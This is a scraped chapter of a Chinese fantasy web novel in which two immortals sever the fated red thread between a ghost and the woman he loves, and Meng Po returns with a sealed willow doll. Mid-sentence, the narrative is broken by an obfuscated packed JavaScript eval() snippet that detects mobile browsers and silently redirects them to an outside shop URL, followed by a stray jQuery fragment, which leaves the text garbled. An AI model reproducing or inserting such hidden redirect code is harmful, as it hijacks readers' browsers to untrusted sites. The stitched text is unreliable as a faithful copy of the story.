文趣网 > 其他小说 > 你不要乌鸦嘴呀 > 34. 断红线
    岁无虞对此早有预感,所以并不吃惊。

    黎昭在来之前也被岁无虞灌输了一大堆事,脑子晕乎乎的,见到所谓的传奇神兽谿边只是暗道吃惊,面上不显。

    唯有一人一鬼远在状况外,景行作为鬼魂和孟长欢名下的打工人也耳濡目染,颠覆活着时的认知,现在对于之后会出现什么都不稀奇了。

    “小雯。”景行不知如何跟她解释,手悬停在半空,欲言又止。

    谁知苏雯摇了摇头,她按下景行的手,以示安抚:“我什么都没有听到,岁大师,黎大师。”

    耳听是非口不避容易惹火上身,干脆从源头切断。

    “小白,你要跟岁大师一起走吗?”

    小白绒毛里的眼睛目光灼灼:“我会回来看你的。”

    归墟屿的神兽,一诺千金。

    是苏雯捡回了它,那条满是脏污的小路,是苏雯停下将奄奄一息的它抱回了家,它绝对不会轻易背弃这份来之不易的羁绊。

    苏雯笑道:“我信。”

    这副场景太过温馨,不像是临行前的告别,更像是出门前的暂别。

    黎昭撇过头,内心升起股异样的自嘲。

    从何时起,人能平视与本该仰视的神兽了?

    岁无虞见黎昭的表情,就知道黎昭又开始想东想西,把她往前一推。

    岁无虞:“我们又不是什么拐卖兽的违法机构,苏小姐你也有看到我们的营业资格证吧?”

    虽然不知道这种不科学的机构是怎么被官方认可的,但存在即合理。

    苏雯完完全全认同一点。

    “黎大师,这下该你上场了!”

    岁无虞最擅长用行动将她的负面想法抽离而出,从始至终都是如此。

    黎昭近乎无可奈何地再一次任由岁无虞将她的思维打乱,她面向苏雯与景行,再次重申道:“你们两个确定想好了吧?”

    “我确定。”

    “想好了。”

    每个人出生时,都会缠绕无数根红线,那红线与爱缠绕,有亲情、爱情、友情。每一份感情从生到死,都是规定好的,是天注定的缘分。

    爱情的红线,是与亲情爱情环绕的,真正的正缘,是被亿万根红线包裹着的唯一。

    爱对方,也爱透过对方的眼睛触及的世界。

    这听上去浪漫,又听上去残忍。

    景行的身体渐渐变得透明,他和苏樱中间仿佛有一堵空气墙,原本十指相握的双手被一股无法抗拒的力量硬生生错开。

    指尖的红线流转着光泽,景行的声音轻而珍重。

    “保重。”

    黎昭掐着手诀,嘴里念念有词:“缘尽缘灭,风行火来,起!”

    景行的鼻尖仍顶着苏雯的额头,像一个青涩生疏的吻。

    一根横亘在景行与黎昭中深红的线从景行一侧燃起青蓝色的火光,焰火明亮,灰黑色的灰烬落在地板上。

    先消失的是景行的独立行走阳间的手与腿,后消失的景行的脸庞。

    红线已断,缘分已结。

    苏雯的记忆里,景行与她的过往却愈发清晰,内心攒动的不舍如潮水般涌出,最终化作一滴眼泪。

    “我还会记得他吗?”

    岁无虞:“记忆是人存在的方式,谁都无法夺走,包括我们。”

    苏雯已经看不到景行的任何踪迹,灵魂形态的景行比她还要不淡定,压抑的哭声此起彼伏。

    苏雯掉了几滴眼泪,无声地抽噎两下,最后和景行竟同步失声痛哭起来,要不怎么说是正缘呢,哭的节奏都差不多。

    苏雯整理好情绪的速度比岁无虞想象中要快很多,擦了擦肿胀如同核桃般的眼睛,眼睛痛得得用力睁开。

    岁无虞看不下去,用小法术做了个冰贴给她敷在眼睛上。

    略显滑稽的苏雯深深地向岁无虞和黎昭鞠了一躬。

    “多谢,岁大师,黎大师。”

    “小白,以后再见啦。”

    小白心疼地舔舐了两下苏雯,苏雯笑眯眯地再一次俯身抱着它,用与景行拥抱时同样的温度。

    以后,哪怕是她一人,她也不会轻易惧怕。

    因为,她已经不再欺骗自己,从此时此刻,她坦然面对一切。

    天边微亮,月亮与太阳同在一片天空,熹微的晨光略显刺眼,岁无虞和黎昭与苏雯告别,小白窝在哭得惨烈的景行,嫌弃地蹬了蹬腿。

    小白恨铁不成钢:“苏雯为什么会喜欢上这么没有男子气概的男人?”

    岁无虞转了转车钥匙上的环扣:“不懂了吧,现在女孩子就吃这套,哭得我见犹怜的男生能让女人变兴奋。”

    黎昭冷不丁地回道:“知道你吃这套了。”

    岁无虞噎了下,自觉不再继续这个话题。

    薄薄的日光为越野车渡了层金边,一个身穿白衬衫牛仔裤的人靠在车辆上,几乎要融进太阳光中,只能看清一个清晰的背影轮廓。

    “长欢,”岁无虞意识到来人是谁,她惊讶道,“你怎么在这?”

    孟长欢把西方神送走后,应该就回去地府了,鬼节的工作量并不少,更别提孟长欢还有自己的摊子要顾。

    孟长欢有一下没一下地抛着手里的柳木制作的玩偶,玩偶在半空中的行径轨迹形成一个完美的抛物线。

    听到岁无虞的声音,孟长欢动作一停,懒洋洋地跟岁无虞打招呼。

    “嗨,小姐好,黎仙子也好。”

    黎昭颔首,她在外人面前话一向很少,只是出于礼节回应着孟长欢。

    “孟婆大人,许久未见了。”

    岁无虞的视线随着孟长欢手里的雕刻的木制玩偶而动,她疑惑地盯了那东西半晌。

    岁无虞恍恍惚惚:“这该不会是……”

    孟长欢爽快道:“是的,这就是景家的柳木童。”

    “我把他封在这里面了,这小鬼知道不少事呢,我都想请教陆大人有无什么驯服小鬼的办法了,能把知道的事都一字不落地给我吐出来。”

    孟长欢话音刚落,手里的柳木童就剧烈挣扎起来。

    景行哑然:“孟大人,您这是?”

    孟长欢:“自己受欺负,就该先往我这边报,你这叫越级汇报懂不懂?”

    岁无虞做了解说:“长欢是说她担心你,下次有什么直接告诉她就好。”

    孟长欢能在地府有一席之地,是用实力站稳脚跟的,她做事与岁无虞风格相似,皆是雷厉风行之辈。

    景行感激不尽,重复了好几遍谢谢。

    “小姐,柳木童知道的事并不少。”

    听孟长欢这样说,岁

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948141|209745||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    无虞心里也有了个底。

    从年初起,三界就不太平,这一连串事,估计背后的始作俑者蛇鼠一窝。

    “谿边大人。”孟长欢向小白行礼,这一礼,在妖与神兽眼中是有“请求”的含义。

    小白点头,在孟长欢未言明前就主动说道:“如有需要,算是本座还了小雯的恩情,尽管开口。”

    天光大亮,太阳已缓缓爬上天空。

    岁无虞这个夜猫子打起了哈欠,现在她是凡人体质,少一觉都不行。

    “回头再说,回头再说,困了困了,老年人熬不住……长欢你要坐车吗?”

    孟长欢还没出声,黎昭就先道:“我来吧,你别疲劳驾驶了,这违章。”

    而后,黎昭扭头再次问孟长欢:“孟婆大人,你要坐车吗?”

    孟长欢八巧玲珑,最通人心,黎昭仙子身上早有不喜与人亲近的传闻,几百年来,跟她关系最为密切也就只有天上那位月老殿下与身为妖怪的乌鸦精。

    她知趣地招呼过小白和景行:“不了,我们三先回地府了,劳烦仙子先送小姐回去了。”

    黎昭坐上主驾驶,没多少表情地点点头:“走好。”

    孟长欢等人走了,岁无虞才坐上副驾驶,她好笑地说:“昭昭,你好像很不喜欢长欢。”

    不只是孟长欢,黎昭对于陌生的人和事,有种天热的排斥。

    “那你呢?”

    黎昭启动车辆,她淡声道:“你甘心一辈子都待在地府?”

    “嗯……在地府蛮开心的,认识了不少有趣的人,也遇到了挺多事,但是等姐姐病好后,应该有更适合这个位置的神仙来吧?”

    黎昭猛猛踩停刹车,波浪的卷发掩住了她的半张脸,岁无虞被牵引力朝前狠狠一栽,脑子有点发懵。

    “昭昭?”

    “不要参与这些事了,阿虞。”

    归墟屿,水镜渊,梦魇,堕神,先前岁无虞跟她讲这些时,黎昭的心里猛地一沉。

    黎昭的直觉告诉她,这是由无数件危险的事缠绕起来的。

    她甚至无法用言语来描述感受的千万分之一。

    黎昭是月烬葵的化身,此花在月华燃尽时方绽,晨来时则掉落,花叶能解千百种毒,花枝能破除万种幻术,周而复始数百年,初生灵智,世间只有黎昭这样一朵奇花化作的花妖。

    她应天道的宠爱而生,预感非凡,生来便有预测是非的能力。

    黎昭的神情不似做伪,但岁无虞也不可能在现在抛下地府这么多事一走白了。

    “你赶着回天界吗?”岁无虞冷不丁地问。

    黎昭没明白岁无虞为什么突然这么问她,但还是老老实实地说:“不赶着。”

    她都几年没回天界了,回不回都不打紧。

    “那来我们的迎新会吧,三界事务所的。”

    黎昭蹙眉:“什么?”

    岁无虞用理所当然的语气说:“你不是说有危险吗?那你要保护我啊。”

    黎昭:“……”

    岁无虞灿烂一笑:“顺便给你看看我的得力下属们!”

    危险不是她一个人受,担子也不是她一个人担。让黎昭见识一下可靠的地府干将,让黎昭安心,顺势还能让黎昭多跟自己人多相处相处。

    简直一箭双雕!